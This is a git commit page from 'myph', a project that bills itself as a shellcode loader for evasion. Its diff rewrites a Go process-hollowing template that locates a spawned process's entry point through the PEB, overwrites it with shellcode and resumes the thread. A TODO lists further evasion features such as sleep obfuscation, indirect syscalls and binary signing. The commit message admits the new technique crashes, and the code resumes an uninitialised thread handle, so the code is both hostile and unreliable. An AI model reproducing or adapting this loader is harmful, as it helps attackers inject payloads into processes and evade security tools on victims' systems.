myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit 4ec14466ce10faf2266931ba887db3a577112b68
parent 709d260f7f1e80ed23587bd75375465f92a62a32
Author: winds0r <[email protected]>
Date: Sat, 29 Jul 2023 19:59:06 +0900

wip(loaders): processHollowing -- simpler technique crashes after a second, no callback (but it should work!! i dont understand)

Diffstat:
MTODO.txt | 11+++++++----
Mloaders/processHollowing.go | 212++++++++++++++++++++++++++++++++++---------------------------------------------

2 files changed, 99 insertions(+), 124 deletions(-)

diff --git a/TODO.txt b/TODO.txt
@@ -15,23 +15,26 @@ Templates:
     - CreateFiber
     - EtwpCreateEtwThread
 
-Sleep / jitter:
-    - Ekko
-
 Misc:
     - support for loading modules from PEB
     - Research indirect syscalls
     - Refactoring CLI options to interfaces
+    - Decrypt shellcode at the last possible time & split templates into trigger & prepare-payload functions
 
 Commands:
     - Add support for GoVersionInfo
-    - Add support for signing binary
 
 
 #############################
 ####### ROADMAP 2.2.0 #######
 #############################
 
+Commands:
+    - Add support for signing binary
+
+Sleep / jitter:
+    - Ekko
+
 Misc:
     - indirect syscalls
     - support for dameonizing ?
diff --git a/loaders/processHollowing.go b/loaders/processHollowing.go
@@ -5,9 +5,6 @@ import (
 )
 
 /*
-   adapted from go-runpe:
-   https://github.com/abdullah2993/go-runpe
-
    For more information, feel free to read this:
    https://www.blackhat.com/docs/asia-17/materials/asia-17-KA-What-Malware-Authors-Don't-Want-You-To-Know-Evasive-Hollow-Process-Injection-wp.pdf
 */
@@ -21,12 +18,7 @@ func GetProcessHollowingTemplate(targetProcess string) string {
 package main
 
 import (
-    "os/exec"
-    "path/filepath"
-	"bytes"
-	"debug/pe"
 	"encoding/binary"
-	"io/ioutil"
 	"syscall"
 	"unsafe"
 )
@@ -42,19 +34,28 @@ const (
 )
 
 var (
-	modkernel32         = syscall.MustLoadDLL("kernel32.dll")
-	WriteProcessMemory  = modkernel32.MustFindProc("WriteProcessMemory")
-	ReadProcessMemory   = modkernel32.MustFindProc("ReadProcessMemory")
-	VirtualAllocEx      = modkernel32.MustFindProc("VirtualAllocEx")
-	GetThreadContext    = modkernel32.MustFindProc("GetThreadContext")
-	SetThreadContext    = modkernel32.MustFindProc("SetThreadContext")
-	ResumeThread        = modkernel32.MustFindProc("ResumeThread")
-
-	modntdll                = syscall.MustLoadDLL("ntdll.dll")
-	NtUnmapViewOfSection    = modntdll.MustFindProc("NtUnmapViewOfSection")
+	kernel32                = syscall.MustLoadDLL("kernel32.dll")
+    readProcessMemory       = kernel32.MustFindProc("ReadProcessMemory")
+	writeProcessMemory      = kernel32.MustFindProc("WriteProcessMemory")
+	resumeThread            = kernel32.MustFindProc("ResumeThread")
+    WaitForSingleObject     = kernel32.MustFindProc("WaitForSingleObject")
+
+	ntdll                       = syscall.MustLoadDLL("ntdll.dll")
+    zwQueryInformationProcess   = ntdll.MustFindProc("ZwQueryInformationProcess")
 )
 
 
+/* need to redefine this so that compile doesnt whine */
+type PROCESS_BASIC_INFORMATION struct {
+	Reserved1    uintptr
+	PebAddress   uintptr
+	Reserved2    uintptr
+	Reserved3    uintptr
+	UniquePid    uintptr
+	MoreReserved uintptr
+}
+
+
 func createProcess(processName string) *syscall.ProcessInformation {
     var si syscall.StartupInfo
 	var pi syscall.ProcessInformation
@@ -81,133 +82,104 @@ func createProcess(processName string) *syscall.ProcessInformation {
 	return &pi
 }
 
-func readProcessAddr(hProcess uintptr, addr uintptr) (uintptr, error) {
-    size := 8
-
-    var numBytesRead uintptr
-    data := make([]byte, size)
-
-	r, _, err := ReadProcessMemory.Call(
-        hProcess,
-		addr,
-		uintptr(unsafe.Pointer(&data[0])),
-		uintptr(size),
-		uintptr(unsafe.Pointer(&numBytesRead)),
-    )
-	if r == 0 {
-        return 0, err
-	}
-
-	return uintptr(binary.LittleEndian.Uint64(data)), nil
-}
-
-func findProgramPath(filename string) (string, error) {
-    fname, err := exec.LookPath(filename); if err != nil {
-        return "", err
-    }
-    return filepath.Abs(fname)
-}
-
 
 func ExecuteOrderSixtySix(shellcode []byte) {
-    // target process
     processName := "%s"
     process := createProcess(processName)
-
-    // process & thread handles
-    hProcess := uintptr(process.Process)
-    hThread := uintptr(process.Thread)
-
-    // get thread context
-    ctx := make([]uint8, 0x4d0)
-    binary.LittleEndian.PutUint32(ctx[48:], 0x00100000|0x00000002)
-    ctxPtr := unsafe.Pointer(&ctx[0])
-
-    r, _, err := GetThreadContext.Call(hThread, uintptr(ctxPtr)); if r == 0 {
+    pHandle := uintptr(process.Process)
+
+	processInfo := &syscall.ProcessInformation{}
+	pointerSize := unsafe.Sizeof(uintptr(0))
+	basicInfo := &PROCESS_BASIC_INFORMATION{}
+	unusedTmpValue := 0
+
+    /* Get Process Environment Block */
+    r, _, err := zwQueryInformationProcess.Call(
+        pHandle,
+        0,
+        uintptr(unsafe.Pointer(basicInfo)),
+        pointerSize * 6,
+        uintptr(unsafe.Pointer(&unusedTmpValue)),
+    ); if r != 0 {
         panic(err)
     }
 
-    /*
-        https://stackoverflow.com/questions/37656523/declaring-context-struct-for-pinvoke-windows-x64
-        https://bytepointer.com/resources/tebpeb64.htm
-    */
-    remoteRdx := binary.LittleEndian.Uint64(ctx[136:])
-    imageBaseAddr, _ := readProcessAddr(hProcess, uintptr(remoteRdx + 16));
-    programPath, err := findProgramPath(processName); if err != nil {
+    /* Query PEB for ImageBaseAddress */
+	imageBaseAddress := basicInfo.PebAddress + 0x10
+
+    // Get entry point of the actual process executable
+    // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))
+    // From the PEB (address we got in last call), we have to do the following:
+    // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
+    // 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable address to get the offset for the PE header
+    // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
+    // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address
+    // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!
+
+
+    // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
+    procAddr := make([]byte, 0x8)
+	read := 0
+
+    r, _, err = readProcessMemory.Call(
+        pHandle,
+        imageBaseAddress,
+        uintptr(unsafe.Pointer(&procAddr[0])),
+        uintptr(len(procAddr)),
+        uintptr(unsafe.Pointer(&read)),
+    ); if r == 0 {
         panic(err)
     }
 
-    destPE, err := ioutil.ReadFile(programPath); if err != nil {
-		panic(err)
-	}
-
-	destPEReader := bytes.NewReader(destPE)
-	f, err := pe.NewFile(destPEReader); if err != nil {
+    // now we can read PE header
+	exeBaseAddr := binary.LittleEndian.Uint64(procAddr)
+    peBuffer := make([]byte, 0x200)
+	r, _, err = readProcessMemory.Call(
+        pHandle,
+        uintptr(exeBaseAddr),
+        uintptr(unsafe.Pointer(&peBuffer[0])),
+        uintptr(len(peBuffer)),
+        uintptr(unsafe.Pointer(&read)),
+    ); if r == 0 {
         panic(err)
     }
 
-    oh, ok := f.OptionalHeader.(*pe.OptionalHeader64); if !ok {
-		panic("OptionalHeader64 not found")
-	}
+    // 2. Read the field 'e_lfanew', 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header
+	lfaNewPos := peBuffer[0x3c : 0x3c + 0x4]
+	lfanew := binary.LittleEndian.Uint32(lfaNewPos)
 
-    /* unmapping image from process */
-    r, _, err = NtUnmapViewOfSection.Call(
-        hProcess,
-        imageBaseAddr,
-    );
+    // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
+	rvaOffset := lfanew + 0x28
+    rvaOffsetPos := peBuffer[rvaOffset : rvaOffset + 0x4]
 
-    /* allocating data */
-    newBaseImage, _, err := VirtualAllocEx.Call(
-        hProcess,
-        imageBaseAddr,
-        uintptr(len(shellcode)),
-        uintptr(MEM_COMMIT | MEM_RESERVE),
-        uintptr(PAGE_EXECUTE_READWRITE),
-    ); if newBaseImage == 0 {
-        panic(err)
-    }
+    // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address
+    rva := binary.LittleEndian.Uint32(rvaOffsetPos)
+
+    // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!
+    entrypointAddress := exeBaseAddr + uint64(rva)
 
-    /* writing program to memory */
-    var numBytesRead uintptr
-    r, _, err = WriteProcessMemory.Call(
-        hProcess,
-        newBaseImage,
+
+    /* overwrite process memory at entrypointAddress */
+    r, _, err = writeProcessMemory.Call(
+        pHandle,
+        uintptr(entrypointAddress),
         uintptr(unsafe.Pointer(&shellcode[0])),
         uintptr(len(shellcode)),
-        uintptr(unsafe.Pointer(&numBytesRead)),
+        0,
     ); if r == 0 {
         panic(err)
     }
 
-    /* writing new image base to rdx */
-    addr := make([]byte, 8)
-	binary.LittleEndian.PutUint64(addr, uint64(newBaseImage))
-	r, _, err = WriteProcessMemory.Call(
-        hProcess,
-        uintptr(remoteRdx + 16),
-        uintptr(unsafe.Pointer(&addr)),
-        uintptr(8),
-        uintptr(unsafe.Pointer(&numBytesRead)),
-    ); if r == 0 {
-		panic(err)
-	}
-
-    /* setting thread context again ! */
-    binary.LittleEndian.PutUint64(
-        ctx[128:],
-        uint64(newBaseImage) + uint64(oh.AddressOfEntryPoint),
-    )
-    r, _, err = SetThreadContext.Call(
-        hThread,
-        uintptr(unsafe.Pointer(&ctx[0])),
-    ); if r == 0 {
+    /* trigger shellcode execution */
+	r, _, err = resumeThread.Call(uintptr(processInfo.Thread)); if r == 0 {
         panic(err)
     }
 
-    /* Resuming thread and execute payload */
-    r, _, err = ResumeThread.Call(hThread); if r == 0xfffffff {
-        panic(err)
-    }
+
+    WaitForSingleObject.Call(
+        uintptr(processInfo.Thread),
+        0xFFFFFFFF,
+    )
 }
     `, targetProcess)
 }